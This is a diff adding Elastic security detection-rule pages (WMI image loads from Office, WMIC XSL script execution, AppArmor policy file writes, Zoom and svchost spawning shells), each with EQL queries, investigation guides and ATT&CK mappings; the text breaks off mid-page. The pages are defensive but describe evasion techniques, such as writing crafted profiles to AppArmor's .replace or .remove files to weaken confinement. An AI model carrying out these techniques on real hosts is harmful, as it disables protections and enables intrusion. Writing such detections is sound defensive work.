+[[prebuilt-rule-8-19-34-suspicious-wmi-image-load-from-ms-office]] +=== Suspicious WMI Image Load from MS Office + +Identifies a suspicious image load (wmiutils.dll) from Microsoft Office processes. This behavior may indicate adversarial activity where child processes are spawned via Windows Management Instrumentation (WMI). This technique can be used to execute code and evade traditional parent/child processes spawned from Microsoft Office products. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-endpoint.events.library-* +* logs-windows.sysmon_operational-* +* endgame-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://medium.com/threatpunter/detecting-adversary-tradecraft-with-image-load-event-logging-and-eql-8de93338c16 + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Execution +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 213 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Suspicious WMI Image Load from MS Office* + + +Windows Management Instrumentation (WMI) is a powerful framework for managing data and operations on Windows systems. Adversaries exploit WMI to execute code stealthily, bypassing traditional security measures by spawning processes indirectly. The detection rule identifies unusual loading of the `wmiutils.dll` library by Microsoft Office applications, signaling potential misuse of WMI for malicious execution. This rule leverages event categories and process names to pinpoint suspicious activity, aiding in early threat detection. + + +*Possible investigation steps* + + +- Review the alert details to confirm the specific Microsoft Office process involved (e.g., WINWORD.EXE, EXCEL.EXE) and the associated event category (library, driver, or process). +- Check the process execution history to determine if the process has a legitimate reason to load the wmiutils.dll library, such as recent updates or legitimate automation tasks. +- Investigate the parent process of the flagged Microsoft Office application to identify any unusual or unexpected parent-child process relationships that could indicate malicious activity. +- Analyze recent user activity on the affected system to identify any suspicious behavior or unauthorized access that might correlate with the alert. +- Examine network connections and data transfers initiated by the flagged process to detect any potential data exfiltration or communication with known malicious IP addresses. +- Cross-reference the alert with other security logs and alerts to identify any patterns or additional indicators of compromise that might suggest a broader attack campaign. + + +*False positive analysis* + + +- Legitimate use of WMI by Microsoft Office applications for automation tasks or system management can trigger the rule. Users should verify if the activity aligns with expected administrative tasks. +- Some third-party plugins or add-ins for Microsoft Office may load wmiutils.dll for legitimate purposes. Users can create exceptions for these known plugins after confirming their benign nature. +- Scheduled tasks or scripts that utilize WMI for legitimate business processes might cause false positives. Review and document these processes, then exclude them from the rule if they are verified as non-threatening. +- Security or monitoring tools that interact with Office applications and use WMI for data collection could be flagged. Ensure these tools are recognized and excluded from the rule after validation. + + +*Response and remediation* + + +- Isolate the affected system from the network to prevent further malicious activity and lateral movement. +- Terminate any suspicious Microsoft Office processes identified in the alert that are loading the `wmiutils.dll` library. +- Conduct a thorough scan of the affected system using updated antivirus and anti-malware tools to identify and remove any malicious code or files. +- Review and analyze the system's WMI repository and scripts for unauthorized or suspicious entries, and remove any that are identified as malicious. +- Restore the system from a known good backup if malicious activity has compromised system integrity or data. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. +- Implement enhanced monitoring and logging for WMI activity and Microsoft Office processes to detect similar threats in the future. + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/sysmon-event-7-setup[Sysmon Event ID 7 - Image Loaded] + + +==== Rule query + + +[source, js] +---------------------------------- +any where host.os.type == "windows" and + (event.category : ("library", "driver") or (event.category == "process" and event.action : "Image loaded*")) and + process.name : ("WINWORD.EXE", "EXCEL.EXE", "POWERPNT.EXE", "MSPUB.EXE", "MSACCESS.EXE") and + (?dll.name : "wmiutils.dll" or file.name : "wmiutils.dll") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Windows Management Instrumentation +** ID: T1047 +** Reference URL: https://attack.mitre.org/techniques/T1047/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-wmic-xsl-script-execution.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-wmic-xsl-script-execution.asciidoc new file mode 100644 index 0000000000..efb7c9641e --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-wmic-xsl-script-execution.asciidoc @@ -0,0 +1,160 @@ +[[prebuilt-rule-8-19-34-suspicious-wmic-xsl-script-execution]] +=== Suspicious WMIC XSL Script Execution + +Identifies WMIC allowlist bypass techniques by alerting on suspicious execution of scripts. When WMIC loads scripting libraries it may be indicative of an allowlist bypass. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-endpoint.events.process-* +* logs-endpoint.events.library-* +* logs-windows.sysmon_operational-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Tactic: Execution +* Data Source: Elastic Defend +* Data Source: Sysmon +* Resources: Investigation Guide +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Threat: Living off the Land +* Threat: Script-Based Execution +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 215 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Suspicious WMIC XSL Script Execution* + + +Windows Management Instrumentation Command-line (WMIC) is a powerful tool for managing Windows systems. Adversaries exploit WMIC to bypass security measures by executing scripts via XSL files, often loading scripting libraries like jscript.dll or vbscript.dll. The detection rule identifies such suspicious activities by monitoring WMIC executions with atypical arguments and the loading of specific libraries, indicating potential misuse for defense evasion. + + +*Possible investigation steps* + + +- Review the process execution details to confirm the presence of WMIC.exe or wmic.exe with suspicious arguments such as "format*:*", "/format*:*", or "*-format*:*" that deviate from typical usage patterns. +- Examine the command line used in the process execution to identify any unusual or unexpected parameters that could indicate malicious intent, excluding known benign patterns like "* /format:table *". +- Investigate the sequence of events to determine if there was a library or process event involving the loading of jscript.dll or vbscript.dll, which may suggest script execution through XSL files. +- Correlate the process.entity_id with other related events within the 2-minute window to identify any additional suspicious activities or processes that may have been spawned as a result of the initial execution. +- Check the parent process of the suspicious WMIC execution to understand the context and origin of the activity, which may provide insights into whether it was initiated by a legitimate application or a potentially malicious actor. +- Analyze the host's recent activity and security logs for any other indicators of compromise or related suspicious behavior that could be part of a broader attack campaign. + + +*False positive analysis* + + +- Legitimate administrative tasks using WMIC with custom scripts may trigger alerts. Review the command line arguments and context to determine if the execution is part of routine system management. +- Automated scripts or software updates that utilize WMIC for legitimate purposes might load scripting libraries like jscript.dll or vbscript.dll. Identify these processes and consider adding them to an allowlist to prevent future false positives. +- Security tools or monitoring solutions that use WMIC for system checks can be mistaken for suspicious activity. Verify the source and purpose of the execution and exclude these known tools from triggering alerts. +- Scheduled tasks or maintenance scripts that use WMIC with non-standard arguments could be flagged. Document these tasks and create exceptions for their specific command line patterns to reduce noise. +- Custom applications developed in-house that rely on WMIC for functionality may inadvertently match the detection criteria. Work with development teams to understand these applications and adjust the detection rule to accommodate their legitimate use cases. + + +*Response and remediation* + + +- Isolate the affected system from the network to prevent further malicious activity and lateral movement. +- Terminate any suspicious WMIC processes identified by the alert to stop ongoing malicious script execution. +- Conduct a thorough review of the system's recent activity logs to identify any additional indicators of compromise or related malicious activities. +- Remove any unauthorized or suspicious XSL files and associated scripts from the system to prevent re-execution. +- Restore the system from a known good backup if any critical system files or configurations have been altered. +- Update and patch the system to the latest security standards to close any vulnerabilities that may have been exploited. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] +- https://ela.st/sysmon-event-7-setup[Sysmon Event ID 7 - Image Loaded] + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by process.entity_id with maxspan = 2m +[process where host.os.type == "windows" and event.type == "start" and + (process.name : "WMIC.exe" or process.pe.original_file_name : "wmic.exe") and + process.args : ("format*:*", "/format*:*", "*-format*:*") and + not process.command_line : ("* /format:table *", "* /format:table")] +[any where host.os.type == "windows" and (event.category == "library" or (event.category == "process" and event.action : "Image loaded*")) and + (?dll.name : ("jscript.dll", "vbscript.dll") or file.name : ("jscript.dll", "vbscript.dll"))] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: System Binary Proxy Execution +** ID: T1218 +** Reference URL: https://attack.mitre.org/techniques/T1218/ +* Technique: +** Name: XSL Script Processing +** ID: T1220 +** Reference URL: https://attack.mitre.org/techniques/T1220/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Windows Management Instrumentation +** ID: T1047 +** Reference URL: https://attack.mitre.org/techniques/T1047/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-write-attempt-to-apparmor-policy-management-files.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-write-attempt-to-apparmor-policy-management-files.asciidoc new file mode 100644 index 0000000000..bd3b61b922 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-write-attempt-to-apparmor-policy-management-files.asciidoc @@ -0,0 +1,171 @@ +[[prebuilt-rule-8-19-34-suspicious-write-attempt-to-apparmor-policy-management-files]] +=== Suspicious Write Attempt to AppArmor Policy Management Files + +Detects processes attempting to write to AppArmor policy management pseudo-files located under "/sys/kernel/security/apparmor/". These special kernel interfaces are used to load, replace, or remove AppArmor profiles (".load", ".replace", ".remove"). In normal environments, AppArmor policy management is typically performed by administrative tools such as "apparmor_parser" during system initialization or package installation. Direct interaction with these pseudo-files from shell utilities, interpreters, or scripting environments is uncommon and may indicate attempts to modify security policy at runtime. Adversaries may abuse these interfaces to weaken or disable AppArmor protections, introduce malicious profiles, or exploit vulnerabilities in the AppArmor policy parser as part of local privilege escalation chains. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process* +* endgame-* +* logs-crowdstrike.fdr* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://cdn2.qualys.com/advisory/2026/03/10/crack-armor.txt +* https://blog.qualys.com/vulnerabilities-threat-research/2026/03/12/crackarmor-critical-apparmor-flaws-enable-local-privilege-escalation-to-root + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Elastic Defend +* Data Source: Elastic Endgame +* Data Source: Crowdstrike +* Data Source: SentinelOne +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Suspicious Write Attempt to AppArmor Policy Management Files* + + +This rule flags shells, scripting runtimes, and basic file utilities trying to write directly to AppArmor’s policy control files, an unusual action that can change or remove enforcement while the system is running. An attacker with local code execution may echo a crafted profile into `.replace` or write to `.remove` from a shell script to weaken confinement before dumping credentials or launching a privilege-escalation chain. + + +*Possible investigation steps* + + +- Determine whether the activity aligns with authorized package installation, configuration management, or AppArmor maintenance by correlating the timestamp with change tickets, software updates, and administrator sessions. +- Reconstruct the full parent-child execution chain and user context to identify how the write was initiated, whether it came from an interactive shell, script, container entrypoint, or remotely spawned session, and whether elevated privileges were obtained just beforehand. +- Capture the exact payload or referenced file used in the write attempt and compare it to approved AppArmor profiles to determine whether the action was loading a new profile, weakening an existing one, or removing confinement entirely. +- Verify the system’s current AppArmor state immediately after the event, including enforcement mode, recently modified or unloaded profiles, and any audit or kernel messages indicating parser errors, profile replacement, or successful policy removal. +- Investigate adjacent activity from the same user, session, and host for signs of defense evasion or privilege escalation, such as sudo abuse, exploitation traces, disabling other security controls, credential access, or rapid execution of binaries that would normally be confined. + + +*False positive analysis* + + +- A legitimate system initialization or package maintenance script may use `echo`, `tee`, `cat`, or a shell redirection to load or replace an approved AppArmor profile, so verify the parent process and event timing align with boot activity or an authorized update and that the profile content matches a known file under `/etc/apparmor.d/`. +- An administrator or deployment script may temporarily reload or remove a profile during sanctioned application troubleshooting, so confirm the executing user or service account, the script location and change record, and that the expected AppArmor profile was restored or reloaded immediately afterward. + + +*Response and remediation* + + +- Isolate the affected Linux host from the network and suspend interactive access while preserving the shell history, the script or payload used to write to `/sys/kernel/security/apparmor/.load`, `.replace`, or `.remove`, and any related dropped files for forensic review. +- Re-enable AppArmor enforcement from trusted administration tooling, compare currently loaded profiles with the approved baseline under `/etc/apparmor.d/`, and remove any unauthorized profile loads, replacements, or profile removals introduced by the attacker. +- Hunt for and delete persistence established around the same activity, including new or modified `systemd` services, cron jobs, startup scripts, SSH `authorized_keys` entries, `sudoers` changes, and binaries or scripts placed in writable directories. +- Escalate immediately to incident response if AppArmor protections were successfully weakened or removed, a privileged service profile was altered, root access is suspected, or similar write attempts appear on additional Linux systems. +- Restore the host to a known-good state from a trusted image or approved configuration backup when system integrity is uncertain, then rotate credentials used on the host and harden access so only authorized administrators and deployment tooling can modify AppArmor policies. + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and +event.action in ("exec", "exec_event", "start", "ProcessRollup2") and +( + process.name in ( + "cat", "echo", "tee", "dd", "truncate", "bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish", + "busybox", "awk", "sed", "xargs", "find", "grep", "node", "timeout", "env" + ) or + process.name like (".*", "python*", "perl*", "ruby*", "lua*", "php*") +) and +process.command_line like ( + "*/sys/kernel/security/apparmor/.load*", + "*/sys/kernel/security/apparmor/.replace*", + "*/sys/kernel/security/apparmor/.remove*" +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Tools +** ID: T1562.001 +** Reference URL: https://attack.mitre.org/techniques/T1562/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-zoom-child-process.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-zoom-child-process.asciidoc new file mode 100644 index 0000000000..1a2f1524ca --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-zoom-child-process.asciidoc @@ -0,0 +1,196 @@ +[[prebuilt-rule-8-19-34-suspicious-zoom-child-process]] +=== Suspicious Zoom Child Process + +A suspicious Zoom child process was detected, which may indicate an attempt to run unnoticed. Verify process details such as command line, network connections, file writes and associated file signature details as well. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Tactic: Execution +* Data Source: Elastic Endgame +* Resources: Investigation Guide +* Data Source: Elastic Defend +* Data Source: SentinelOne +* Data Source: Microsoft Defender XDR +* Data Source: Windows Security Event Logs +* Data Source: Crowdstrike +* Data Source: Sysmon +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows +* Domain: SaaS +* Data Source: Zoom +* Resources: Osquery + +*Version*: 424 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Suspicious Zoom Child Process* + + +By examining the specific traits of Windows binaries -- such as process trees, command lines, network connections, registry modifications, and so on -- it's possible to establish a baseline of normal activity. Deviations from this baseline can indicate malicious activity, such as masquerading, and deserve further investigation. + +This rule identifies a potential malicious process masquerading as `Zoom.exe` or exploiting a vulnerability in the application causing it to execute code. + +> **Note**: +> This investigation guide uses the https://www.elastic.co/guide/en/security/current/invest-guide-run-osquery.html[Osquery Markdown Plugin] introduced in Elastic Stack version 8.5.0. Older Elastic Stack versions will display unrendered Markdown in this guide. + + +*Possible investigation steps* + + +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Investigate any abnormal behavior by the subject process such as network connections, registry or file modifications, and any spawned child processes. +- Examine the command line of the child process to determine which commands or scripts were executed. +- Examine the host for derived artifacts that indicate suspicious activities: + - Analyze the process executable using a private sandboxed analysis system. + - Observe and collect information about the following activities in both the sandbox and the alert subject host: + - Attempts to contact external domains and addresses. + - Use the Elastic Defend network events to determine domains and addresses contacted by the subject process by filtering by the process' `process.entity_id`. + - Examine the DNS cache for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve DNS Cache","query":"SELECT * FROM dns_cache"}} + - Use the Elastic Defend registry events to examine registry keys accessed, modified, or created by the related processes in the process tree. + - Examine the host services for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve All Services","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services"}} + - !{osquery{"label":"Osquery - Retrieve Services Running on User Accounts","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services WHERE\nNOT (user_account LIKE '%LocalSystem' OR user_account LIKE '%LocalService' OR user_account LIKE '%NetworkService' OR\nuser_account == null)\n"}} + - !{osquery{"label":"Osquery - Retrieve Service Unsigned Executables with Virustotal Link","query":"SELECT concat('https://www.virustotal.com/gui/file/', sha1) AS VtLink, name, description, start_type, status, pid,\nservices.path FROM services JOIN authenticode ON services.path = authenticode.path OR services.module_path =\nauthenticode.path JOIN hash ON services.path = hash.path WHERE authenticode.result != 'trusted'\n"}} + - Retrieve the files' SHA-256 hash values using the PowerShell `Get-FileHash` cmdlet and search for the existence and reputation of the hashes in resources like VirusTotal, Hybrid-Analysis, CISCO Talos, Any.run, etc. +- Assess whether this behavior is prevalent in the environment by looking for similar occurrences across hosts. + + + +*False positive analysis* + + +- This activity is unlikely to happen legitimately. Benign true positives (B-TPs) can be added as exceptions if necessary. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- Remove and block malicious artifacts identified during triage. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/crowdstrike-integration[CrowdStrike] +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] +- https://ela.st/audit-process-creation[Windows Process Creation Logs] + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + process.parent.name : "Zoom.exe" and process.name : ("cmd.exe", "powershell.exe", "pwsh.exe", "powershell_ise.exe") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Masquerading +** ID: T1036 +** Reference URL: https://attack.mitre.org/techniques/T1036/ +* Technique: +** Name: Process Injection +** ID: T1055 +** Reference URL: https://attack.mitre.org/techniques/T1055/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ +* Sub-technique: +** Name: Windows Command Shell +** ID: T1059.003 +** Reference URL: https://attack.mitre.org/techniques/T1059/003/ +* Technique: +** Name: Exploitation for Client Execution +** ID: T1203 +** Reference URL: https://attack.mitre.org/techniques/T1203/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-svchost-spawning-cmd.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-svchost-spawning-cmd.asciidoc new file mode 100644 index 0000000000..91bea7a656 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-svchost-spawning-cmd.asciidoc @@ -0,0 +1,177 @@ +[[prebuilt-rule-8-19-34-svchost-spawning-cmd]] +=== Svchost spawning Cmd + +Identifies a suspicious parent child process relationship with cmd.exe descending from svchost.exe + +*Rule type*: new_terms + +*Rule indices*: + +* logs-endpoint.events.process-* +* winlogbeat-* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* endgame-* +* logs-system.security* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://nasbench.medium.com/demystifying-the-svchost-exe-process-and-its-command-line-options-508e9114e747 + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Execution +* Resources: Investigation Guide +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender XDR +* Data Source: Sysmon +* Data Source: SentinelOne +* Noise: Medium +* Performance: Normal +* Rule Type: New Terms +* Platform: Windows +* Resources: Osquery + +*Version*: 429 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Svchost spawning Cmd* + + +The Service Host process (SvcHost) is a system process that can host one, or multiple, Windows services in the Windows NT family of operating systems. Note that `Svchost.exe` is reserved for use by the operating system and should not be used by non-Windows services. + +This rule looks for the creation of the `cmd.exe` process with `svchost.exe` as its parent process. This is an unusual behavior that can indicate the masquerading of a malicious process as `svchost.exe` or exploitation for privilege escalation. + +> **Note**: +> This investigation guide uses the https://www.elastic.co/guide/en/security/current/invest-guide-run-osquery.html[Osquery Markdown Plugin] introduced in Elastic Stack version 8.5.0. Older Elastic Stack versions will display unrendered Markdown in this guide. + + +*Possible investigation steps* + + +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Investigate any abnormal behavior by the subject process such as network connections, registry or file modifications, and any spawned child processes. +- Examine the host for derived artifacts that indicate suspicious activities: + - Analyze the process executable using a private sandboxed analysis system. + - Observe and collect information about the following activities in both the sandbox and the alert subject host: + - Attempts to contact external domains and addresses. + - Use the Elastic Defend network events to determine domains and addresses contacted by the subject process by filtering by the process' `process.entity_id`. + - Examine the DNS cache for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve DNS Cache","query":"SELECT * FROM dns_cache"}} + - Use the Elastic Defend registry events to examine registry keys accessed, modified, or created by the related processes in the process tree. + - Examine the host services for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve All Services","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services"}} + - !{osquery{"label":"Osquery - Retrieve Services Running on User Accounts","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services WHERE\nNOT (user_account LIKE '%LocalSystem' OR user_account LIKE '%LocalService' OR user_account LIKE '%NetworkService' OR\nuser_account == null)\n"}} + - !{osquery{"label":"Osquery - Retrieve Service Unsigned Executables with Virustotal Link","query":"SELECT concat('https://www.virustotal.com/gui/file/', sha1) AS VtLink, name, description, start_type, status, pid,\nservices.path FROM services JOIN authenticode ON services.path = authenticode.path OR services.module_path =\nauthenticode.path JOIN hash ON services.path = hash.path WHERE authenticode.result != 'trusted'\n"}} + - Retrieve the files' SHA-256 hash values using the PowerShell `Get-FileHash` cmdlet and search for the existence and reputation of the hashes in resources like VirusTotal, Hybrid-Analysis, CISCO Talos, Any.run, etc. +- Investigate potentially compromised accounts. Analysts can do this by searching for login events (for example, 4624) to the target host after the registry modification. + + + +*False positive analysis* + + +- This activity is unlikely to happen legitimately. Benign true positives (B-TPs) can be added as exceptions if necessary. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- Remove and block malicious artifacts identified during triage. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule 